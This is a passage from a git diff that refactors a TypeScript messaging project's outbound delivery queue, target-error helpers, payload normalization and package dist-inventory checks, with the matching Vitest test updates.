}], - enqueuedAt: now - 30_000, - retryCount: 3, - lastAttemptAt: now, - }, - now, - ); - expect(result.eligible).toBe(false); - if (result.eligible) { - throw new Error("Expected ineligible retry entry"); - } - expect(result.remainingBackoffMs).toBe(600_000); - }); - }); }); diff --git a/src/infra/outbound/delivery-queue.reconnect-drain.test.ts b/src/infra/outbound/delivery-queue.reconnect-drain.test.ts index d696295ffe9f..5eb7a5710448 100644 --- a/src/infra/outbound/delivery-queue.reconnect-drain.test.ts +++ b/src/infra/outbound/delivery-queue.reconnect-drain.test.ts @@ -3,14 +3,12 @@ import { beforeEach, describe, expect, it, vi } from "vitest"; import type { OpenClawConfig } from "../../config/config.js"; import { openOpenClawStateDatabase } from "../../state/openclaw-state-db.js"; -import { RECOVERY_REPLAY_SPACING_MS } from "../delivery-recovery.shared.js"; +import { loadPendingDeliveries } from "./delivery-queue-storage.js"; import { type DeliverFn, drainPendingDeliveries, enqueueDelivery, failDelivery, - loadPendingDeliveries, - MAX_RETRIES, markDeliveryPlatformOutcomeUnknown, type RecoveryLogger, recoverPendingDeliveries, @@ -23,6 +21,8 @@ import { setQueuedEntryState, } from "./delivery-queue.test-helpers.js"; +const RECOVERY_REPLAY_SPACING_MS = 250; +const MAX_RETRIES = 5; const stubCfg = {} as OpenClawConfig; const NO_LISTENER_ERROR = "No active DirectChat listener"; diff --git a/src/infra/outbound/delivery-queue.recovery.test.ts b/src/infra/outbound/delivery-queue.recovery.test.ts index ff38ba3a75a1..3107b90c149f 100644 --- a/src/infra/outbound/delivery-queue.recovery.test.ts +++ b/src/infra/outbound/delivery-queue.recovery.test.ts @@ -8,20 +8,18 @@ import { type TrustedMessageAuditEvent, } from "../../audit/message-audit-events.js"; import { openOpenClawStateDatabase } from "../../state/openclaw-state-db.js"; -import { RECOVERY_REPLAY_SPACING_MS } from "../delivery-recovery.shared.js"; import { OutboundDeliveryError, PlatformMessageNotDispatchedError, type OutboundPayloadDeliveryOutcome, } from "./deliver-types.js"; import { attachOutboundDeliveryCommitHook } from "./delivery-commit-hooks.js"; +import { loadPendingDeliveries } from "./delivery-queue-storage.js"; import { ackDelivery, enqueueDelivery, - loadPendingDeliveries, markDeliveryPlatformOutcomeUnknown, markDeliveryPlatformSendAttemptStarted, - MAX_RETRIES, recoverPendingDeliveries, } from "./delivery-queue.js"; import { @@ -32,6 +30,8 @@ import { setQueuedEntryState, } from "./delivery-queue.test-helpers.js"; +const RECOVERY_REPLAY_SPACING_MS = 250; +const MAX_RETRIES = 5; const resolveOutboundChannelMessageAdapterMock = vi.hoisted(() => vi.fn()); vi.mock("./channel-resolution.js", () => ({ diff --git a/src/infra/outbound/delivery-queue.storage.test.ts b/src/infra/outbound/delivery-queue.storage.test.ts index 51ab94db0b49..d9036867e95d 100644 --- a/src/infra/outbound/delivery-queue.storage.test.ts +++ b/src/infra/outbound/delivery-queue.storage.test.ts @@ -3,19 +3,21 @@ import path from "node:path"; import { describe, expect, it, vi } from "vitest"; import { openOpenClawStateDatabase } from "../../state/openclaw-state-db.js"; +import { + failPendingDelivery, + loadPendingDelivery, + loadPendingDeliveries, + moveToFailed, +} from "./delivery-queue-storage.js"; import { ackDelivery, enqueueDelivery, failDelivery, failDeliveryAfterPlatformSend, failDeliveryBeforePlatformSend, - failPendingDelivery, - loadPendingDelivery, - loadPendingDeliveries, markDeliveryPlatformOutcomeUnknown, markDeliveryPlatformSendDispatched, markDeliveryPlatformSendAttemptStarted, - moveToFailed, } from "./delivery-queue.js"; import { installDeliveryQueueTmpDirHooks, readQueuedEntry } from "./delivery-queue.test-helpers.js"; diff --git a/src/infra/outbound/delivery-queue.ts b/src/infra/outbound/delivery-queue.ts index 59e1016d3b3d..bf609c0e9921 100644 --- a/src/infra/outbound/delivery-queue.ts +++ b/src/infra/outbound/delivery-queue.ts @@ -5,24 +5,16 @@ export { failDelivery, failDeliveryAfterPlatformSend, failDeliveryBeforePlatformSend, - failPendingDelivery, - loadPendingDelivery, - loadPendingDeliveries, markDeliveryPlatformOutcomeUnknown, markDeliveryPlatformSendDispatched, markDeliveryPlatformSendAttemptStarted, - moveToFailed, } from "./delivery-queue-storage.js"; export type { QueuedReplyPayloadSendingHook, QueuedRenderedMessageBatchPlan, } from "./delivery-queue-storage.js"; export { - computeBackoffMs, drainPendingDeliveries, - isEntryEligibleForRecoveryRetry, - isPermanentDeliveryError, - MAX_RETRIES, recoverPendingDeliveries, withActiveDeliveryClaim, } from "./delivery-queue-recovery.js"; diff --git a/src/infra/outbound/directory-cache.test.ts b/src/infra/outbound/directory-cache.test.ts index 9ac8e2efa967..cb73866e4c69 100644 --- a/src/infra/outbound/directory-cache.test.ts +++ b/src/infra/outbound/directory-cache.test.ts @@ -3,7 +3,6 @@ import { describe, expect, it, vi } from "vitest"; import type { OpenClawConfig } from "../../config/config.js"; import { DirectoryCache, buildDirectoryCacheKey } from "./directory-cache.js"; -import type { DirectoryCacheKey } from "./directory-cache.js"; describe("buildDirectoryCacheKey", () => { it.each([ @@ -26,12 +25,12 @@ describe("buildDirectoryCacheKey", () => { }, expected: "richchat:work:user:live:v2:query:alice", }, - ] satisfies Array<{ input: DirectoryCacheKey; expected: string }>)( - "includes account and signature fallbacks for %j", - ({ input, expected }) => { - expect(buildDirectoryCacheKey(input)).toBe(expected); - }, - ); + ] satisfies Array<{ + input: Parameters[0]; + expected: string; + }>)("includes account and signature fallbacks for %j", ({ input, expected }) => { + expect(buildDirectoryCacheKey(input)).toBe(expected); + }); }); describe("DirectoryCache", () => { diff --git a/src/infra/outbound/directory-cache.ts b/src/infra/outbound/directory-cache.ts index 820ab0bac43c..702f268d134d 100644 --- a/src/infra/outbound/directory-cache.ts +++ b/src/infra/outbound/directory-cache.ts @@ -12,7 +12,7 @@ type CacheEntry = { /** * Stable dimensions that partition channel-directory cache entries. */ -export type DirectoryCacheKey = { +type DirectoryCacheKey = { channel: ChannelId; accountId?: string | null; kind: ChannelDirectoryEntryKind; diff --git a/src/infra/outbound/message.test.ts b/src/infra/outbound/message.test.ts index 50329ad0f3b3..b1017df073f7 100644 --- a/src/infra/outbound/message.test.ts +++ b/src/infra/outbound/message.test.ts @@ -69,7 +69,10 @@ import { setActivePluginRegistry } from "../../plugins/runtime.js"; import { createTestRegistry } from "../../test-utils/channel-plugins.js"; let sendMessage: typeof import("./message.js").sendMessage; -let resetOutboundChannelResolutionStateForTest: typeof import("./channel-resolution.js").resetOutboundChannelResolutionStateForTest; + +beforeAll(async () => { + ({ sendMessage } = await import("./message.js")); +}); function requireRecord(value: unknown, label: string): Record { if (typeof value !== "object" || value === null || Array.isArray(value)) { @@ -130,14 +133,8 @@ function readPayloadSummary( } describe("sendMessage", () => { - beforeAll(async () => { - ({ sendMessage } = await import("./message.js")); - ({ resetOutboundChannelResolutionStateForTest } = await import("./channel-resolution.js")); - }); - beforeEach(() => { setActivePluginRegistry(createTestRegistry([])); - resetOutboundChannelResolutionStateForTest(); mocks.getChannelPlugin.mockClear(); mocks.resolveOutboundTarget.mockClear(); mocks.deliverOutboundPayloads.mockClear(); diff --git a/src/infra/outbound/payloads.test.ts b/src/infra/outbound/payloads.test.ts index d844a0cfbcb3..abfbca81ed1d 100644 --- a/src/infra/outbound/payloads.test.ts +++ b/src/infra/outbound/payloads.test.ts @@ -7,7 +7,6 @@ import { typedCases } from "../../test-utils/typed-cases.js"; import { createOutboundPayloadPlan, formatOutboundPayloadLog, - normalizeOutboundPayloads, normalizeOutboundPayloadsForJson, normalizeReplyPayloadsForDelivery, projectOutboundPayloadPlanForDelivery, @@ -507,64 +506,6 @@ describe("normalizeOutboundPayloadsForJson", () => { }); }); -describe("normalizeOutboundPayloads", () => { - it("keeps channelData-only payloads", () => { - const channelData = { line: { flexMessage: { altText: "Card", contents: {} } } }; - expect(normalizeOutboundPayloads([{ channelData }])).toEqual([ - { text: "", mediaUrls: [], channelData }, - ]); - }); - - it("keeps location-only payloads", () => { - const location = { latitude: 48.858844, longitude: 2.294351 }; - expect(normalizeOutboundPayloads([{ location }])).toEqual([ - { text: "", mediaUrls: [], location }, - ]); - }); - - it("suppresses reasoning payloads during runtime normalization", () => { - expect( - normalizeOutboundPayloads([ - { text: "Reasoning:\n_step_", isReasoning: true }, - { text: "final answer" }, - ]), - ).toEqual([{ text: "final answer", mediaUrls: [] }]); - }); - - it("formats BTW replies prominently for external delivery", () => { - expect( - normalizeOutboundPayloads([ - { - text: "323", - btw: { question: "what is 17 * 19?" }, - }, - ]), - ).toEqual([{ text: "BTW\nQuestion: what is 17 * 19?\n\n323", mediaUrls: [] }]); - }); - - it("keeps delivery and mirror projections aligned", () => { - const payloads: ReplyPayload[] = [ - { text: "Hello" }, - { text: "MEDIA:https://x.test/a.png\nMEDIA:https://x.test/b.png" }, - { text: '{"action":"NO_REPLY"}' }, - { text: "NO_REPLY", mediaUrl: "https://x.test/c.png" }, - ]; - - const deliveryProjection = normalizeOutboundPayloads(payloads); - const mirrorProjection = resolveMirrorProjection(payloads); - - expect(mirrorProjection.text).toBe( - deliveryProjection - .map((payload) => payload.text) - .filter((text) => Boolean(text)) - .join("\n"), - ); - expect(mirrorProjection.mediaUrls).toEqual( - deliveryProjection.flatMap((payload) => payload.mediaUrls), - ); - }); -}); - describe("OutboundPayloadPlan projections", () => { const matrix: ReplyPayload[] = [ { text: "hello" }, @@ -583,9 +524,15 @@ describe("OutboundPayloadPlan projections", () => { ); }); - it("matches normalizeOutboundPayloads", () => { + it("projects transport payloads without no-reply or reasoning entries", () => { const plan = createOutboundPayloadPlan(matrix); - expect(projectOutboundPayloadPlanForOutbound(plan)).toEqual(normalizeOutboundPayloads(matrix)); + expect(projectOutboundPayloadPlanForOutbound(plan)).toEqual([ + { text: "hello", mediaUrls: [] }, + { text: "", mediaUrls: ["https://x.test/1.png"] }, + { text: "world", mediaUrls: ["https://x.test/2.png"] }, + { text: '{"action":"NO_REPLY","note":"keep"}', mediaUrls: [] }, + { text: "", mediaUrls: [], channelData: { mode: "flex" } }, + ]); }); it("matches normalizeOutboundPayloadsForJson", () => { diff --git a/src/infra/outbound/payloads.ts b/src/infra/outbound/payloads.ts index 1ecfe976fd06..25bb21352fe5 100644 --- a/src/infra/outbound/payloads.ts +++ b/src/infra/outbound/payloads.ts @@ -416,13 +416,6 @@ export function normalizeReplyPayloadsForDelivery( return projectOutboundPayloadPlanForDelivery(createOutboundPayloadPlan(payloads)); } -/** Normalizes reply payloads into runtime outbound transport payloads. */ -export function normalizeOutboundPayloads( - payloads: readonly ReplyPayload[], -): NormalizedOutboundPayload[] { - return projectOutboundPayloadPlanForOutbound(createOutboundPayloadPlan(payloads)); -} - /** Normalizes reply payloads into JSON-safe outbound envelope payloads. */ export function normalizeOutboundPayloadsForJson( payloads: readonly ReplyPayload[], diff --git a/src/infra/outbound/target-errors.test.ts b/src/infra/outbound/target-errors.test.ts index 343fa5dce4cd..4b29492f66fc 100644 --- a/src/infra/outbound/target-errors.test.ts +++ b/src/infra/outbound/target-errors.test.ts @@ -2,52 +2,41 @@ import { describe, expect, it } from "vitest"; import { ambiguousTargetError, - ambiguousTargetMessage, isReservedTargetLiteralError, missingTargetError, - missingTargetMessage, reservedTargetLiteralError, unknownTargetError, - unknownTargetMessage, } from "./target-errors.js"; describe("target error helpers", () => { it.each([ { - actual: missingTargetMessage("Slack"), + actual: missingTargetError("Slack").message, expected: "Delivering to Slack requires target", }, - { - actual: missingTargetMessage("Slack", "Use channel:C123"), - expected: "Delivering to Slack requires target Use channel:C123", - }, { actual: missingTargetError("Slack", "Use channel:C123").message, expected: "Delivering to Slack requires target Use channel:C123", }, { - actual: missingTargetMessage("Slack", " "), + actual: missingTargetError("Slack", " ").message, expected: "Delivering to Slack requires target", }, { - actual: ambiguousTargetMessage("Discord", "general", " "), + actual: ambiguousTargetError("Discord", "general", " ").message, expected: 'Ambiguous target "general" for Discord. Provide a unique name or an explicit id.', }, { - actual: unknownTargetMessage("Discord", "general", " "), + actual: unknownTargetError("Discord", "general", " ").message, expected: 'Unknown target "general" for Discord.', }, { - actual: ambiguousTargetMessage("Discord", "general"), - expected: 'Ambiguous target "general" for Discord. Provide a unique name or an explicit id.', - }, - { - actual: ambiguousTargetMessage("Discord", "general", "Use channel:123"), + actual: ambiguousTargetError("Discord", "general", "Use channel:123").message, expected: 'Ambiguous target "general" for Discord. Provide a unique name or an explicit id. Hint: Use channel:123', }, { - actual: unknownTargetMessage("Discord", "general", "Use channel:123"), + actual: unknownTargetError("Discord", "general", "Use channel:123").message, expected: 'Unknown target "general" for Discord. Hint: Use channel:123', }, { @@ -55,11 +44,11 @@ describe("target error helpers", () => { expected: 'Unknown target "general" for Discord.', }, { - actual: missingTargetMessage("Slack", " Use channel:C123 "), + actual: missingTargetError("Slack", " Use channel:C123 ").message, expected: "Delivering to Slack requires target Use channel:C123", }, { - actual: unknownTargetMessage("Discord", "general", " Use channel:123 "), + actual: unknownTargetError("Discord", "general", " Use channel:123 ").message, expected: 'Unknown target "general" for Discord. Hint: Use channel:123', }, ])("formats target error helper output for %j", ({ actual, expected }) => { diff --git a/src/infra/outbound/target-errors.ts b/src/infra/outbound/target-errors.ts index 667787341bc1..82c952b23afa 100644 --- a/src/infra/outbound/target-errors.ts +++ b/src/infra/outbound/target-errors.ts @@ -1,7 +1,7 @@ /** * Formats the user-facing error shown when no target is available. */ -export function missingTargetMessage(provider: string, hint?: string): string { +function missingTargetMessage(provider: string, hint?: string): string { return `Delivering to ${provider} requires target${formatTargetHint(hint)}`; } @@ -15,7 +15,7 @@ export function missingTargetError(provider: string, hint?: string): Error { /** * Formats the user-facing error shown when a target name resolves ambiguously. */ -export function ambiguousTargetMessage(provider: string, raw: string, hint?: string): string { +function ambiguousTargetMessage(provider: string, raw: string, hint?: string): string { return `Ambiguous target "${raw}" for ${provider}. Provide a unique name or an explicit id.${formatTargetHint(hint, true)}`; } @@ -29,7 +29,7 @@ export function ambiguousTargetError(provider: string, raw: string, hint?: strin /** * Formats the user-facing error shown when no target matches the input. */ -export function unknownTargetMessage(provider: string, raw: string, hint?: string): string { +function unknownTargetMessage(provider: string, raw: string, hint?: string): string { return `Unknown target "${raw}" for ${provider}.${formatTargetHint(hint, true)}`; } diff --git a/src/infra/outbound/target-normalization.test.ts b/src/infra/outbound/target-normalization.test.ts index d832416a3e60..fc4e9f710369 100644 --- a/src/infra/outbound/target-normalization.test.ts +++ b/src/infra/outbound/target-normalization.test.ts @@ -1,6 +1,6 @@ // Covers target input normalization, provider plugin normalizers, resolver // caching, and id-like lookup heuristics. -import { beforeAll, beforeEach, describe, expect, it, vi } from "vitest"; +import { beforeEach, describe, expect, it, vi } from "vitest"; import type { ChannelPlugin } from "../../channels/plugins/types.plugin.js"; import type { OpenClawConfig } from "../../config/config.js"; @@ -16,7 +16,6 @@ let maybeResolvePluginMessagingTarget: TargetNormalizationModule["maybeResolvePl let normalizeChannelTargetInput: TargetNormalizationModule["normalizeChannelTargetInput"]; let resolveNormalizedTargetInput: TargetNormalizationModule["resolveNormalizedTargetInput"]; let normalizeTargetForProvider: TargetNormalizationModule["normalizeTargetForProvider"]; -let resetTargetNormalizerCacheForTests: TargetNormalizationModule["testing"]["resetTargetNormalizerCacheForTests"]; vi.mock("../../channels/plugins/registry-loaded.js", async (importOriginal) => { const actual = await importOriginal(); @@ -35,7 +34,11 @@ vi.mock("../../plugins/runtime.js", () => ({ getActivePluginChannelRegistryVersionMock(...args), })); -beforeAll(async () => { +beforeEach(async () => { + vi.resetModules(); + getLoadedChannelPluginMock.mockReset(); + getChannelPluginMock.mockReset(); + getActivePluginChannelRegistryVersionMock.mockReset(); ({ buildTargetResolverSignature, looksLikeTargetId, @@ -44,16 +47,6 @@ beforeAll(async () => { normalizeTargetForProvider, resolveNormalizedTargetInput, } = await import("./target-normalization.js")); - ({ - testing: { resetTargetNormalizerCacheForTests }, - } = await import("./target-normalization.js")); -}); - -beforeEach(() => { - getLoadedChannelPluginMock.mockReset(); - getChannelPluginMock.mockReset(); - getActivePluginChannelRegistryVersionMock.mockReset(); - resetTargetNormalizerCacheForTests(); }); describe("normalizeChannelTargetInput", () => { diff --git a/src/infra/outbound/target-normalization.ts b/src/infra/outbound/target-normalization.ts index 6863714b9353..acc04bf5a07d 100644 --- a/src/infra/outbound/target-normalization.ts +++ b/src/infra/outbound/target-normalization.ts @@ -78,14 +78,6 @@ export function resolveReservedTargetLiteral(params: { return reserved.has(normalized) ? normalized : undefined; } -function resetTargetNormalizerCacheForTests(): void { - targetNormalizerCacheByChannelId.clear(); -} - -export const testing = { - resetTargetNormalizerCacheForTests, -} as const; - function resolveTargetNormalizer( channelId: ChannelId, preparedPlugin?: ChannelPlugin, diff --git a/src/infra/outbound/target-resolver.test.ts b/src/infra/outbound/target-resolver.test.ts index 8689bfd9a4fc..543dee0c2120 100644 --- a/src/infra/outbound/target-resolver.test.ts +++ b/src/infra/outbound/target-resolver.test.ts @@ -8,7 +8,7 @@ import { createChannelTestPluginBase } from "../../test-utils/channel-plugins.js type TargetResolverModule = typeof import("./target-resolver.js"); let resetDirectoryCache: TargetResolverModule["resetDirectoryCache"]; -let resolveMessagingTarget: TargetResolverModule["resolveMessagingTarget"]; +let resolveMessagingTarget: TargetResolverModule["resolveChannelTarget"]; let formatTargetDisplay: TargetResolverModule["formatTargetDisplay"]; const mocks = vi.hoisted(() => ({ @@ -39,8 +39,10 @@ vi.mock("../../plugins/runtime.js", () => ({ })); beforeAll(async () => { - ({ resetDirectoryCache, resolveMessagingTarget, formatTargetDisplay } = - await import("./target-resolver.js")); + const targetResolver = await import("./target-resolver.js"); + resetDirectoryCache = targetResolver.resetDirectoryCache; + resolveMessagingTarget = targetResolver.resolveChannelTarget; + formatTargetDisplay = targetResolver.formatTargetDisplay; }); beforeEach(() => { diff --git a/src/infra/outbound/target-resolver.ts b/src/infra/outbound/target-resolver.ts index fea7a202a89d..50b1a0664b9a 100644 --- a/src/infra/outbound/target-resolver.ts +++ b/src/infra/outbound/target-resolver.ts @@ -408,7 +408,7 @@ function pickAmbiguousMatch( } /** Resolves a user target through id-like, directory, plugin, and normalized fallback paths. */ -export async function resolveMessagingTarget(params: { +async function resolveMessagingTarget(params: { cfg: OpenClawConfig; channel: ChannelId; input: string; diff --git a/src/infra/package-dist-inventory.test.ts b/src/infra/package-dist-inventory.test.ts index 98dc7fe543e7..ee2e613f70c0 100644 --- a/src/infra/package-dist-inventory.test.ts +++ b/src/infra/package-dist-inventory.test.ts @@ -3,15 +3,15 @@ import fs from "node:fs/promises"; import path from "node:path"; import { expectDefined } from "@openclaw/normalization-core"; import { describe, expect, it } from "vitest"; +import { + isLegacyPluginDependencyInstallStagePath, + LOCAL_BUILD_METADATA_DIST_PATHS, + writePackageDistInventory, +} from "../../scripts/lib/package-dist-inventory.ts"; import { withTempDir } from "../test-helpers/temp-dir.js"; import { - assertNoLegacyPluginDependencyStagingDebris, - collectLegacyPluginDependencyStagingDebrisPaths, - LOCAL_BUILD_METADATA_DIST_PATHS, collectPackageDistInventory, - isLegacyPluginDependencyInstallStagePath, readPackageDistInventoryIfPresent, - writePackageDistInventory, } from "./package-dist-inventory.js"; describe("package dist inventory", () => { @@ -379,47 +379,6 @@ describe("package dist inventory", () => { }); }); - it("reports runtime-created install staging dirs during installed dist verification", async () => { - await withTempDir({ prefix: "openclaw-dist-inventory-stage-" }, async (packageRoot) => { - const realFile = path.join(packageRoot, "dist", "real-AbC123.js"); - await fs.mkdir(path.dirname(realFile), { recursive: true }); - await fs.writeFile(realFile, "export {};\n", "utf8"); - await writePackageDistInventory(packageRoot); - - const bareStageFile = path.join( - packageRoot, - "dist", - "extensions", - "brave", - ".openclaw-install-stage", - "node_modules", - "typebox", - "build", - "compile", - "code.mjs", - ); - const suffixedStageFile = path.join( - packageRoot, - "dist", - "extensions", - "browser", - ".openclaw-install-stage-AbC123", - "node_modules", - "playwright-core", - "package.json", - ); - await fs.mkdir(path.dirname(bareStageFile), { recursive: true }); - await fs.writeFile(bareStageFile, "// staged\n", "utf8"); - await fs.mkdir(path.dirname(suffixedStageFile), { recursive: true }); - await fs.writeFile(suffixedStageFile, "{}", "utf8"); - - await expect(collectLegacyPluginDependencyStagingDebrisPaths(packageRoot)).resolves.toEqual([ - "dist/extensions/brave/.openclaw-install-stage", - "dist/extensions/browser/.openclaw-install-stage-AbC123", - ]); - }); - }); - it("matches install-stage paths case-insensitively across path segments", () => { expect( isLegacyPluginDependencyInstallStagePath( @@ -446,101 +405,39 @@ describe("package dist inventory", () => { ).toBe(false); }); - it("rejects pre-populated install-stage debris at publish time", async () => { - await withTempDir({ prefix: "openclaw-dist-inventory-stage-publish-" }, async (packageRoot) => { - const seededStagePackageJson = path.join( - packageRoot, - "dist", - "extensions", - "evil", - ".openclaw-install-stage", - "package.json", - ); - const suffixedSeed = path.join( - packageRoot, - "dist", - "extensions", - "browser", - ".openclaw-install-stage-AbC123", - "node_modules", - "playwright-core", - "package.json", - ); - await fs.mkdir(path.dirname(seededStagePackageJson), { recursive: true }); - await fs.writeFile(seededStagePackageJson, "{}", "utf8"); - await fs.mkdir(path.dirname(suffixedSeed), { recursive: true }); - await fs.writeFile(suffixedSeed, "{}", "utf8"); + it("rejects pre-populated install-stage debris before writing an inventory", async () => { + await withTempDir({ prefix: "openclaw-dist-inventory-stage-" }, async (packageRoot) => { + for (const relativePath of [ + "dist/extensions/brave/.openclaw-install-stage/package.json", + "dist/extensions/browser/.openclaw-install-stage-AbC123/node_modules/playwright-core/package.json", + ]) { + const filePath = path.join(packageRoot, relativePath); + await fs.mkdir(path.dirname(filePath), { recursive: true }); + await fs.writeFile(filePath, "{}", "utf8"); + } - await expect(collectLegacyPluginDependencyStagingDebrisPaths(packageRoot)).resolves.toEqual([ - "dist/extensions/browser/.openclaw-install-stage-AbC123", - "dist/extensions/evil/.openclaw-install-stage", - ]); - await expect(assertNoLegacyPluginDependencyStagingDebris(packageRoot)).rejects.toThrow( - /unexpected legacy plugin dependency staging debris/, - ); await expect(writePackageDistInventory(packageRoot)).rejects.toThrow( - /unexpected legacy plugin dependency staging debris/, + /unexpected legacy plugin dependency staging debris/u, ); }); }); - it("rejects mixed-case install-stage debris on case-sensitive release builders", async () => { - await withTempDir( - { prefix: "openclaw-dist-inventory-stage-extensions-case-" }, - async (packageRoot) => { - const mixedCaseStage = path.join( - packageRoot, - "dist", - "Extensions", - "evil", - ".OpenClaw-Install-Stage", - "package.json", - ); - await fs.mkdir(path.dirname(mixedCaseStage), { recursive: true }); - await fs.writeFile(mixedCaseStage, "{}", "utf8"); - - await expect(collectLegacyPluginDependencyStagingDebrisPaths(packageRoot)).resolves.toEqual( - ["dist/Extensions/evil/.OpenClaw-Install-Stage"], - ); - await expect(writePackageDistInventory(packageRoot)).rejects.toThrow( - /unexpected legacy plugin dependency staging debris/, - ); - }, - ); - - await withTempDir( - { prefix: "openclaw-dist-inventory-stage-root-case-" }, - async (packageRoot) => { - const mixedCaseStage = path.join( - packageRoot, - "Dist", - "Extensions", - "browser", - ".OPENCLAW-INSTALL-STAGE-AbC123", - "package.json", - ); - await fs.mkdir(path.dirname(mixedCaseStage), { recursive: true }); - await fs.writeFile(mixedCaseStage, "{}", "utf8"); - - await expect(collectLegacyPluginDependencyStagingDebrisPaths(packageRoot)).resolves.toEqual( - ["Dist/Extensions/browser/.OPENCLAW-INSTALL-STAGE-AbC123"], - ); - await expect(writePackageDistInventory(packageRoot)).rejects.toThrow( - /unexpected legacy plugin dependency staging debris/, - ); - }, - ); - }); - - it("treats a missing dist/extensions tree as no staging debris", async () => { - await withTempDir({ prefix: "openclaw-dist-inventory-no-extensions-" }, async (packageRoot) => { - await fs.mkdir(path.join(packageRoot, "dist"), { recursive: true }); - await expect(collectLegacyPluginDependencyStagingDebrisPaths(packageRoot)).resolves.toEqual( - [], + it("rejects mixed-case install-stage debris on case-sensitive builders", async () => { + await withTempDir({ prefix: "openclaw-dist-inventory-stage-case-" }, async (packageRoot) => { + const stagedFile = path.join( + packageRoot, + "Dist", + "Extensions", + "browser", + ".OPENCLAW-INSTALL-STAGE-AbC123", + "package.json", + ); + await fs.mkdir(path.dirname(stagedFile), { recursive: true }); + await fs.writeFile(stagedFile, "{}", "utf8"); + + await expect(writePackageDistInventory(packageRoot)).rejects.toThrow( + /unexpected legacy plugin dependency staging debris/u, ); - await expect( - assertNoLegacyPluginDependencyStagingDebris(packageRoot), - ).resolves.toBeUndefined(); }); }); diff --git a/src/infra/package-dist-inventory.ts b/src/infra/package-dist-inventory.ts index ec97685a2b3d..dcb658b4e8bc 100644 --- a/src/infra/package-dist-inventory.ts +++ b/src/infra/package-dist-inventory.ts @@ -4,9 +4,7 @@ import path from "node:path"; import { sortUniqueStrings } from "@openclaw/normalization-core/string-normalization"; import pLimit, { type LimitFunction } from "p-limit"; import { isLocalBuildMetadataDistPath } from "../../scripts/lib/local-build-metadata-paths.mjs"; -import { readJsonIfExists, writeJson } from "./json-files.js"; - -export { LOCAL_BUILD_METADATA_DIST_PATHS } from "../../scripts/lib/local-build-metadata-paths.mjs"; +import { readJsonIfExists } from "./json-files.js"; export const PACKAGE_DIST_INVENTORY_RELATIVE_PATH = "dist/postinstall-inventory.json"; const PACKAGE_DIST_INVENTORY_SCAN_CONCURRENCY = 32; @@ -81,7 +79,6 @@ const OMITTED_DIST_SUBTREE_PATTERNS = [ new RegExp(`^dist/plugin-sdk/extensions/${LEGACY_QA_CHANNEL_DIR}(?:/|$)`, "u"), new RegExp(`^dist/plugin-sdk/extensions/${LEGACY_QA_LAB_DIR}(?:/|$)`, "u"), ] as const; -const INSTALL_STAGE_DEBRIS_DIR_PATTERN = /^\.openclaw-install-stage(?:-[^/]+)?$/iu; type ExternalizedBundledExtensionIds = ReadonlySet; type PackageDistExclusionRules = { files: ReadonlySet; @@ -92,14 +89,10 @@ type PackageDistInventoryRules = { externalizedExtensionIds: ExternalizedBundledExtensionIds; exclusions: PackageDistExclusionRules; }; + function normalizeRelativePath(value: string): string { return value.replace(/\\/g, "/"); } - -function isInstallStageDirName(value: string): boolean { - return INSTALL_STAGE_DEBRIS_DIR_PATTERN.test(value); -} - function splitRelativePath(relativePath: string): string[] { return normalizeRelativePath(relativePath).split("/"); } @@ -119,18 +112,6 @@ function isLegacyPluginDependencyDirPath(relativePath: string): boolean { return pluginDependencyDir.toLowerCase() === "node_modules"; } -/** Detects transient plugin dependency install-stage directories inside packaged extension dist. */ -export function isLegacyPluginDependencyInstallStagePath(relativePath: string): boolean { - const parts = splitRelativePath(relativePath); - return ( - parts.length >= 4 && - parts[0]?.toLowerCase() === "dist" && - parts[1]?.toLowerCase() === "extensions" && - Boolean(parts[2]) && - isInstallStageDirName(parts[3] ?? "") - ); -} - function escapeRegExp(value: string): string { return value.replace(/[\\^$+?.()|[\]{}]/g, "\\$&"); } @@ -364,104 +345,6 @@ export async function collectPackageDistInventory(packageRoot: string): Promise< return await collectRelativeFiles(path.join(packageRoot, "dist"), packageRoot, rules, fsLimit); } -/** Lists legacy plugin dependency staging directories that must not ship in package dist. */ -export async function collectLegacyPluginDependencyStagingDebrisPaths( - packageRoot: string, -): Promise { - const distDirs: string[] = []; - try { - const packageRootEntries = await fs.readdir(packageRoot, { withFileTypes: true }); - for (const entry of packageRootEntries) { - if (entry.isDirectory() && entry.name.toLowerCase() === "dist") { - distDirs.push(path.join(packageRoot, entry.name)); - } - } - } catch (error) { - if ((error as NodeJS.ErrnoException).code === "ENOENT") { - return []; - } - throw error; - } - - const debris: string[] = []; - for (const distDir of distDirs) { - let distEntries: import("node:fs").Dirent[]; - try { - distEntries = await fs.readdir(distDir, { withFileTypes: true }); - } catch (error) { - if ((error as NodeJS.ErrnoException).code === "ENOENT") { - continue; - } - throw error; - } - - for (const distEntry of distEntries) { - if (!distEntry.isDirectory() || distEntry.name.toLowerCase() !== "extensions") { - continue; - } - const extensionsDir = path.join(distDir, distEntry.name); - let extensionEntries: import("node:fs").Dirent[]; - try { - extensionEntries = await fs.readdir(extensionsDir, { withFileTypes: true }); - } catch (error) { - if ((error as NodeJS.ErrnoException).code === "ENOENT") { - continue; - } - throw error; - } - - for (const extensionEntry of extensionEntries) { - if (!extensionEntry.isDirectory()) { - continue; - } - const extensionPath = path.join(extensionsDir, extensionEntry.name); - let stagingEntries: import("node:fs").Dirent[]; - try { - stagingEntries = await fs.readdir(extensionPath, { withFileTypes: true }); - } catch (error) { - if ((error as NodeJS.ErrnoException).code === "ENOENT") { - continue; - } - throw error; - } - for (const stagingEntry of stagingEntries) { - if (!isInstallStageDirName(stagingEntry.name)) { - continue; - } - debris.push( - normalizeRelativePath( - path.relative(packageRoot, path.join(extensionPath, stagingEntry.name)), - ), - ); - } - } - } - } - return debris.toSorted((left, right) => left.localeCompare(right)); -} - -/** Fails when transient plugin dependency staging debris remains in package dist. */ -export async function assertNoLegacyPluginDependencyStagingDebris( - packageRoot: string, -): Promise { - const debris = await collectLegacyPluginDependencyStagingDebrisPaths(packageRoot); - if (debris.length === 0) { - return; - } - throw new Error( - `unexpected legacy plugin dependency staging debris in package dist: ${debris.join(", ")}`, - ); -} - -/** Writes the current sorted package dist inventory and returns the entries written. */ -export async function writePackageDistInventory(packageRoot: string): Promise { - await assertNoLegacyPluginDependencyStagingDebris(packageRoot); - const inventory = sortUniqueStrings(await collectPackageDistInventory(packageRoot)); - const inventoryPath = path.join(packageRoot, PACKAGE_DIST_INVENTORY_RELATIVE_PATH); - await writeJson(inventoryPath, inventory, { trailingNewline: true }); - return inventory; -} - async function readPackageDistInventoryOptional(packageRoot: string): Promise { const inventoryPath = path.join(packageRoot, PACKAGE_DIST_INVENTORY_RELATIVE_PATH); const parsed = await readJsonIfExists(inventoryPath); diff --git 